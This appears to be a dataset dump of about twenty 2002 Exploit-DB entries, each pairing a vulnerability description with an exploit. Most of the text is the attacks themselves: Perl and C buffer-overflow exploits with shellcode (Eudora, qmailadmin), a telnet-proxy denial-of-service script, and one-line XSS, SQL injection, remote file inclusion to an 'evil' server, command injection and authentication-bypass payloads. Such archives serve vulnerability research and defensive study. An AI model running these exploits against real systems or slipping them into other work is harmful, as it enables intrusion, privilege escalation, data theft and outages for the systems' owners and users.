QLWD/code_shield huggingface dataset:
标题: 602Pro LAN SUITE 2002 - Telnet Proxy localhost Denial of Service EDB-ID: 21694 CVE: 2002-2174 类型: DOS 平台: WINDOWS 发布日期: 2002-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/5416/info

The 602Pro LAN SUITE 2002 Telnet Proxy is reported to be prone to a denial of service condition. It is possible for proxy users to use the loopback interface to connect to localhost. If a large number of these connections are made concurrently, it is possible to cause a denial of service via resource exhaustion.

#!/usr/bin/perl

#

# lansuite-proxy-DoS.pl - 602Pro LAN SUITE 2002 telnet proxy DoS

#

# Note: Try very high number of connections and run multiple instances

# of the script for quick results.

#

# Date: August 3, 2002

# Author: Stan Bubrouski (stan@ccs.neu.edu)



if (!$ARGV[2]) {

        print "Usage $0 <hostname> <port> <connections>\n\n";

        exit();

}


$host = $ARGV[0];

$port = $ARGV[1];

$numc = $ARGV[2];



use Net::Telnet ();

$t = new Net::Telnet;

$t->open(Host => $host,Port => $port);

foreach(1...$numc) {

        $t->waitfor('/.*host.*/');

        $t->print('localhost:23');

} URL: https://www.exploit-db.com/exploits/21694
标题: Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (7) EDB-ID: 21690 CVE: 2002-1230 类型: LOCAL 平台: WINDOWS 发布日期: 2002-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/5408/info
      
A serious design error in the Win32 API has been reported. The issue is related to the inter-window message passing system. This vulnerability is wide-ranging and likely affects almost every Win32 window-based application. Attackers with local access may exploit this vulnerability to elevate privileges if a window belonging to another process with higher privileges is present. One example of such a process is antivirus software, which often must run with LocalSystem privileges.
      
** Microsoft has released a statement regarding this issue. Please see the References section for details.
      
A paper, entitled "Win32 Message Vulnerabilities Redux" has been published by iDEFENSE that describes another Windows message that may be abused in a similar manner to WM_TIMER. Microsoft has not released patches to address problems with this message. There are likely other messages which can be exploited in the same manner.
      
Another proof-of-concept has been released by Brett Moore in a paper entitled "Shattering SEH III". This paper demonstrates how Shatter attacks may be used against applications which make use of progress bar controls.
      
Brett Moore has released a paper entitled "Shattering By Example" which summarizes previous Shatter attacks, discusses new techniques and also provides an exploit which abuses Windows statusbars using WM_SETTEXT, SB_SETTEXT, SB_GETTEXTLENGTH, SB_SETPARTS and SB_GETPARTS messages. Please see the attached reference to the paper for more details.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21690.rar URL: https://www.exploit-db.com/exploits/21690
标题: Qualcomm Eudora 5 - MIME MultiPart Boundary Buffer Overflow EDB-ID: 21680 CVE: 2002-0833 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/5397/info

A buffer overflow vulnerability has been reported in Qualcomm's Eudora mail client for Windows systems. The condition occurs if a MIME multipart boundary is of excessive length. Remote attackers may exploit this vulnerability to execute arbitrary code.

#!/usr/local/bin/perl

#---------------------------------------------------------------------
# Eudora Version 5.0.2-Jr2 exploit for Japanese Windows 2000 Pro (SP2)
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#---------------------------------------------------------------------

use Socket;

$connect_host   = 'mail.jumperz.net';
$port           = 25;
$env_from       = 'anvil@jumperz.net';
$env_to         = 'target@jumperz.net';
$from           = 'anvil@jumperz.net';
$to             = 'target@jumperz.net';

$iaddr = inet_aton($connect_host) || die "Host Resolve Error.\n";
$sock_addr = pack_sockaddr_in($port,$iaddr);
socket(SOCKET,PF_INET,SOCK_STREAM,0) || die "Socket Error.\n";
connect(SOCKET,$sock_addr) || die "Connect Error\n";
select(SOCKET); $|=1; select(STDOUT);

        #egg written by UNYUN (http://www.shadowpenguin.org/)
        #57bytes
$egg  = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

$buf  = "\x90" x 121;
$buf .= $egg;
$buf .= "\xEB\xA0"; #JMP -0x60
$buf .= "A" x 2;
$buf .= "\x97\xAC\xE3\x77"; #0x77e3ac97 JMP EBX in user32.dll

$hoge = <SOCKET>;
print SOCKET "HELO hoge\x0D\x0A";
$hoge = <SOCKET>;
print SOCKET "MAIL FROM:<$env_from>\x0D\x0A";
$hoge = <SOCKET>;
print SOCKET "RCPT TO:<$env_to>\x0D\x0A";
$hoge = <SOCKET>;
print SOCKET "DATA\x0D\x0A";
$hoge = <SOCKET>;

print SOCKET << "_EOD_";
MIME-Version: 1.0\x0D
>From: $from\x0D
To: $to\x0D
Content-Type: multipart/mixed; boundary="$buf"\x0D
\x0D
.\x0D
_EOD_
$hoge = <SOCKET>;
print SOCKET "QUIT\x0D\x0A";
$hoge = <SOCKET>; URL: https://www.exploit-db.com/exploits/21680
标题: qmailadmin 1.0.x - Local Buffer Overflow EDB-ID: 21683 CVE: 2002-1414 类型: LOCAL 平台: LINUX 发布日期: 2002-08-06 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/5404/info

The qmailadmin utility, developed by Inter7, is vulnerable to a buffer overflow condition. It is meant to run as a CGI program and is typically installed setuid (owned by root on some systems, regular users on others). qmailadmin fails to implement adequate bounds checking when processing an environment variable, resulting in a buffer overrun condition. 

It is likely that this can be exploited by malicious local users to elevate privileges.
*/

/* http://www.badc0ded.com (bug found by Thomas Cannon)
 / bash-2.05a$ ./qmailadmin-exp
 / Content-Type: text/html
 / $ id
 / uid=1000(dim) euid=89(vpopmail) gid=1000(dim) egid=89(vchkpw) groups=89(vchkpw), 1000(dim), 0(wheel)
 / $ 
*/


char shellcode[]=          /* 23 bytes                       */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x54"                 /* pushl   %esp                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x50"                 /* pushl   %eax                   */
    "\xb0\x3b"             /* movb    $0x3b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

main ()
{
   char buf[16000];
   int i;
   memset(buf,0,sizeof(buf));
   memset(buf,0x90,5977); 
   strcat(buf,shellcode);

   for (i=0;i<=2203;i++)
     strcat(buf,"\xd8\xef\x06\x08");   // lang_fs magic..
   strcat (buf,"\xf1\xcb\xbf\xbf"); // ret..
   setenv("QMAILADMIN_TEMPLATEDIR",buf);
   execlp("/usr/local/www/cgi-bin.default/qmailadmin/qmailadmin","qmailadmin",0);
   
   
} URL: https://www.exploit-db.com/exploits/21683
标题: Opera 6.0.x - FTP View Cross-Site Scripting EDB-ID: 21681 CVE: 2002-2358 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/5401/info

A cross-site scripting vulnerability in Opera has been reported. When viewing the contents of an FTP site as web content, the data within <title> tags is not sanitized. An attacker may embed javascript between open and closing <title> tags in a FTP URL. 

This vulnerability has been confirmed on Opera 6.03 and 6.04 for Windows 2000.

<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@[FTPserver]/">
</head>
<body>
<script>window.open("ftp://[FTPserver]/");</script>
</body>
</html>

Example:
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@ftp.opera.com/">
</head>
<body>
<script>window.open("ftp://ftp.opera.com/");</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/21681
标题: Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (8) EDB-ID: 21691 CVE: 2002-1230 类型: LOCAL 平台: WINDOWS 发布日期: 2002-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/5408/info
       
A serious design error in the Win32 API has been reported. The issue is related to the inter-window message passing system. This vulnerability is wide-ranging and likely affects almost every Win32 window-based application. Attackers with local access may exploit this vulnerability to elevate privileges if a window belonging to another process with higher privileges is present. One example of such a process is antivirus software, which often must run with LocalSystem privileges.
       
** Microsoft has released a statement regarding this issue. Please see the References section for details.
       
A paper, entitled "Win32 Message Vulnerabilities Redux" has been published by iDEFENSE that describes another Windows message that may be abused in a similar manner to WM_TIMER. Microsoft has not released patches to address problems with this message. There are likely other messages which can be exploited in the same manner.
       
Another proof-of-concept has been released by Brett Moore in a paper entitled "Shattering SEH III". This paper demonstrates how Shatter attacks may be used against applications which make use of progress bar controls.
       
Brett Moore has released a paper entitled "Shattering By Example" which summarizes previous Shatter attacks, discusses new techniques and also provides an exploit which abuses Windows statusbars using WM_SETTEXT, SB_SETTEXT, SB_GETTEXTLENGTH, SB_SETPARTS and SB_GETPARTS messages. Please see the attached reference to the paper for more details.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21691.zip URL: https://www.exploit-db.com/exploits/21691
标题: Bharat Mediratta Gallery 1.x - Remote File Inclusion EDB-ID: 21676 CVE: 2002-1412 类型: WEBAPPS 平台: PHP 发布日期: 2002-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/5375/info

Gallery is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Gallery. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'GALLERY_BASEDIR' parameter. 

http://hostname/gallery/captionator.php?GALLERY_BASEDIR=http://your.evil.server.tdl/ URL: https://www.exploit-db.com/exploits/21676
标题: Dispair 0.1/0.2 - Remote Command Execution EDB-ID: 21679 CVE: 2002-1868 类型: WEBAPPS 平台: CGI 发布日期: 2002-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/5392/info

Dispair fails to sufficiently validate user-supplied input before it is passed to the shell via the Perl open() function. Remote attackers may potentially exploit this issue to execute arbitrary commands on the underlying shell with the privileges of the webserver process.

http://target/cgi-bin/dispair.cgi?file=fiddle&view=%0A/usr/bin/id URL: https://www.exploit-db.com/exploits/21679
标题: Microsoft Windows Media Player 6/7 - Filename Buffer Overflow EDB-ID: 21670 CVE: 2002-1847 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/5357/info

The Microsoft Windows Media Player executable is prone to a buffer overflow condition when invoked with an oversized filename.

Since the program is executed in the context of the user invoking it, it is not likely that a local attacker could exploit this issue to gain elevated privileges. However, if the program can be invoked remotely or a user can be somehow enticed into invoking the program with a malformed filename, then this may be exploited by an attacker. Realistically, another exposure or vulnerability would have to exist on the host system for an attacker to exploit this issue.

It is not currently known exactly which versions of the software are affected. 

From the command prompt it is possible to reproduce this issue with this command:

mplay32.exe A<x279>.mp3

On an unpatched IIS server it is possibly to invoke the application with the following request:

http://target/scripts/..%255c..%255cwinnt/system32.exe?/A<x279>.mp3 URL: https://www.exploit-db.com/exploits/21670
标题: Sun AnswerBook2 1.x - Unauthorized Administrative Script Access EDB-ID: 21677 CVE: 2002-2425 类型: REMOTE 平台: SOLARIS 发布日期: 2002-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5383/info

Sun Microsystems AnswerBook2 allows users to view Sun documentation through a web browser, and is available for Solaris.

AnswerBook2 includes an administrative web interface. Reportedly, it is possible to access these scripts without authorization, and add a new administrative user of the AnswerBook2 system. 

http://localhost:8888/ab2/@AdminViewError

http://localhost:8888/ab2/@AdminAddadmin?uid=foo&password=bar&re_password=bar URL: https://www.exploit-db.com/exploits/21677
标题: IPSwitch IMail 6.x/7.0.x - Web Calendaring Incomplete Post Denial of Service EDB-ID: 21673 CVE: 2002-1077 类型: DOS 平台: WINDOWS 发布日期: 2002-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/5365/info

IMail is a commercial email server software package distributed and maintained by Ipswitch, Incorporated. IMail is available for Microsoft Operating Systems.

When a HTTP POST command is made to the web calendaring service on port 8484, and the "content-length:" header field is blank, the service becomes unstable. It has been reported that such a transaction with the service results in a crash of the iwebcal service. 

An attacker may exploit this vulnerability by submitting the following request to a vulnerable server:

POST / HTTP/1.0 URL: https://www.exploit-db.com/exploits/21673
标题: ShoutBox 1.2 - 'Form' HTML Injection EDB-ID: 21668 CVE: 2002-1429 类型: WEBAPPS 平台: PHP 发布日期: 2002-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/5354/info

shoutBOX does not sufficiently sanitize HTML tags from input supplied via form fields. Attackers may exploit this lack of input validation to inject arbitrary HTML and script code into pages that are generated by the script. This may result in execution of attacker-supplied code in the web client of a user who visits such a page. HTML and script code will be executed in the security context of the site hosting the software. 

In the Site URL text box, type in:

"></a><html code goes here><a href=" URL: https://www.exploit-db.com/exploits/21668
标题: Microsoft SQL Server 2000 - sp_MScopyscript SQL Injection EDB-ID: 21651 CVE: 2002-0982 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/5309/info

The Microsoft SQL Server 2000 sp_MScopyscript stored procedure does not sufficiently validate input before passing it to the xp_cmdshell extended stored procedure. An attacker with the ability to execute a query or pass malicious input to a query may be able to execute operating system commands via xp_cmdshell with the privileges of the SQL Server. 

The sp_MScopyscript stored procedure may be executed by the 'public' role by default, so it is possible that a database user with privileges may potentially exploit this issue.

The Microsoft SQL Server must be configured to function as a distributor for this issue to be exploited. Certain other conditions must be satisfied for exploitation to succeed, such as the SQL Server running in the context of a domain user.

By supplying a malformed @scriptfile parameter an attacker can run arbitrary
commands:

use master
declare @cmd nvarchar(4000)
exec sp_MScopyscriptfile N'c:\autoexec.bat" c:\cp.txt&echo hello >
c:\ccc.bbb & echo "hello',@cmd OUTPUT
print @cmd

The above query will copy the autoexec.bat file to cp.txt but also echo hello to a file called ccc.bbb. URL: https://www.exploit-db.com/exploits/21651
标题: phpBB2 Gender Mod 1.1.3 - SQL Injection EDB-ID: 21660 CVE: 2002-2176 类型: WEBAPPS 平台: PHP 发布日期: 2002-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/5342/info

phpBB2 is an open-source web forum application that is written in PHP and backended by a number of database products. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

Gender Mod is a modification for phpBB2 which allows the association of a gender with a given user profile. A SQL injection vulnerability has been reported in this mod. A remote user may subvert the SQL statement used to update their user profile, possibly gaining administrative access to the system. 

"0, user_level = 1 " URL: https://www.exploit-db.com/exploits/21660
标题: Ben Chivers Easy Homepage Creator 1.0 - File Modification EDB-ID: 21658 CVE: 2002-1427 类型: WEBAPPS 平台: CGI 发布日期: 2002-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/5340/info

The vulnerability has been reported for Easy Homepage Creator. It is possible for an atttacker to modify any user's home page. The vulnerability is the result of Homepage Creator failing to properly authenticate users who wish to edit home pages. 

<html><center>
<h1>Easy Homepage Creator Vulnerability</h1>
<table border=0 cellpadding=2 cellspacing=1 width="90%">
<FORM method="POST" name=edit action="http://victim/homepage/edit.cgi">
Username: <input name="username"><br>
You can edit other user homepage below :
<textarea rows="17" id="homepage_edit" name="homepage_edit" cols="88">
Please type your messages in here.
&lt;/textarea&gt;
<tr>
<td class=top>
<input class=button type="submit" value="Edit Homepage" name="edit_homepage"></td>
</tr>
</FORM>
</table>
</html> URL: https://www.exploit-db.com/exploits/21658
标题: Lucent Access Point 300/600/1500 IP Services Router - Long HTTP Request Denial of Service EDB-ID: 21656 CVE: 2002-2149 类型: DOS 平台: HARDWARE 发布日期: 2002-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/5333/info

The Lucent Access Point series of routers support a web based administrative interface. An error has been reported in the embedded HTTP server.

It has been reported that sending a HTTP request consisting of approximately 4000 characters of data will cause the device to reboot. This may result in an interruption of service for legitimate users of the device. 

wget `perl -e 'print "http://router_ip/"; print "A"x4000; print "/";` URL: https://www.exploit-db.com/exploits/21656
标题: Microsoft SQL Server 2000 - Database Consistency Checkers Buffer Overflow EDB-ID: 21650 CVE: 2002-0644 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/5307/info

Microsoft SQL Server 2000 includes utilities called Database Consistency Checkers (DBCC). Several of these programs contain identical buffer overflows that, when exploited, could allow an attacker to execute arbitrary code with the privilege level of the SQL Server service account.

declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ >
"\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' +
@command + ' | rd "' 
exec sp_MScopyscriptfile @scripfile ,'' URL: https://www.exploit-db.com/exploits/21650
标题: dotProject 0.2.1 - User Cookie Authentication Bypass EDB-ID: 21661 CVE: 2002-1428 类型: WEBAPPS 平台: PHP 发布日期: 2002-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/5347/info

dotproject is prone to an issue which may allow remote attackers to bypass authentication and gain administrative access to the software. 

This may be accomplished by submitting a maliciously crafted 'user_cookie' value either manually or via manipulation of URI parameters.

This problem is due to the software relying on the user 'cookie_value' to authenticate the user.

curl -b user_cookie=1 http://server/project/index.php?m=projects

or 

http://server/project/index.php?m=projects&user_cookie=1 URL: https://www.exploit-db.com/exploits/21661
标题: Cacheflow CacheOS 3.1.x/4.0.x/4.1 - Unresolved Domain Cross-Site Scripting EDB-ID: 21649 CVE: 2002-1060 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5305/info

CacheOS is the firmware designed and distributed with CacheFlow web cache systems. It is maintained and distributed by CacheFlow.

User supplied data is not sanitized before being included in an unresolved host error page. An attacker may construct a link for a nonexistant subdomain of a valid site, and include malicious JavaScript. If followed, the supplied script code will execute within the context of the requested domain.

http://dummy.example.com/<script>EVIL CODE</script> URL: https://www.exploit-db.com/exploits/21649
标题: HP ProCurve Switch 4000M - SNMP Write Denial of Service EDB-ID: 21657 CVE: 2002-1426 类型: DOS 平台: HARDWARE 发布日期: 2002-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/5336/info

An issue has been reported with the HP ProCurve 4000M Switch.

An attacker with SNMP write access to the device may write to the SNMP variable .iso.3.6.1.4.1.11.2.36.1.1.2.1.0. If more than 85 characters are written to this variable, the device will crash the next time it accepts a connection to either the configured telnet or HTTP port. 

snmpwrite <switch_ip> private .iso.3.6.1.4.1.11.2.36.1.1.2.1.0 s `perl -e 'print "A"x85;'` URL: https://www.exploit-db.com/exploits/21657
标题: Ben Chivers Easy Guestbook 1.0 - Administrative Access EDB-ID: 21659 CVE: 2002-1410 类型: WEBAPPS 平台: CGI 发布日期: 2002-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/5341/info

The vulnerability has been reported for Easy Guestbook 1.0. It is possible for an atttacker to modify any user's guestbook by deleting entries. The vulnerability is the result of Guestbook failing to properly authenticate users who wish to edit guestbooks. 

<html>
<body>
<h1>Easy Guestbook v1.0 Vulnerabilities</h1>
<form method="POST" action="http://victim/guestbook/admin.cgi">
Delete No. of Entries in Guestbook: <input type="text" value="" name="function" size="5"> <input type="submit" value="Delete Message" name="delete_message" style="font-size: 10pt; font-family: verdana; font-weight: bold"><br><hr>
Open Administration Guestbook: <input type="submit" value="Back to Admin" name="back_to_admin" style="color: #800080; fo
nt-weight: bold">
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/21659
标题: Pegasus Mail 4.0 1 - Message Header Buffer Overflow EDB-ID: 21648 CVE: 2002-1075 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5302/info

Pegasus Mail is an email client for Microsoft Windows and DOS based systems. A buffer overflow vulnerability has been reported in some versions of Pegasus Mail.

Reportedly, Pegasus is vulnerable to a buffer overflow condition when processing some long message headers. If either the 'To:' or 'From:' message headers are longer than approximately 259 characters, Pegasus may crash when displaying the message.

This issue has been reported in Pegasus Mail 4.01. Earlier versions may share this vulnerability, this has not however been confirmed.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21648.zip URL: https://www.exploit-db.com/exploits/21648